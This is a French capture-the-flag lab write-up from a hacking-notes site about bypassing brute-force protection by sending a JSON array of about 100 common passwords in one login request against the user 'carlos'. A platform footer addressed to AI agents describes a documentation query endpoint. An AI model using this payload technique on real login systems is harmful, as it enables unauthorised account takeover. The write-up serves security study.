> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md).
# Protection anti-force brute défaillante avec plusieurs identifiants par requête
### Protection contre le bruteforce défaillante, plusieurs identifiants par requête
Ce laboratoire présente une faille logique dans le mécanisme de protection contre les attaques par force brute. / L'objectif est de **trouver le mot de passe de l'utilisateur carlos** et accéder à sa page **Mon compte**.
* **Utilisateur cible**: `carlos`
* **Liste de mots de passe candidats**: fournie par le laboratoire
* **Point d'entrée**: formulaire de connexion
**Observation du comportement**
Lors de l'analyse du formulaire de connexion, la requête envoyée au serveur est au format **JSON** , avec les champs suivants :
```json
{
"username":"carlos",
"password":"password"
}
```
La protection anti-force brute semble être basée sur le nombre de \*\*requêtes HTTP\*\* envoyées, et non sur le nombre de \*\*mots de passe réellement testés\*\*.
**Exploitation de la faille logique**
Au lieu d'envoyer une requête de mot de passe, il est possible de transmettre **plusieurs mots de passe dans une seule requête**, en utilisant un tableau JSON pour le `mot de passe` champ.
{% code overflow="wrap" %}
```json
{
"username": "carlos",
"password": ["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
}
```
{% endcode %}
Le serveur \*\*accepte la requête\*\* et teste tous les mots de passe contenus dans le tableau, **sans déclencher de mécanisme de blocage**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.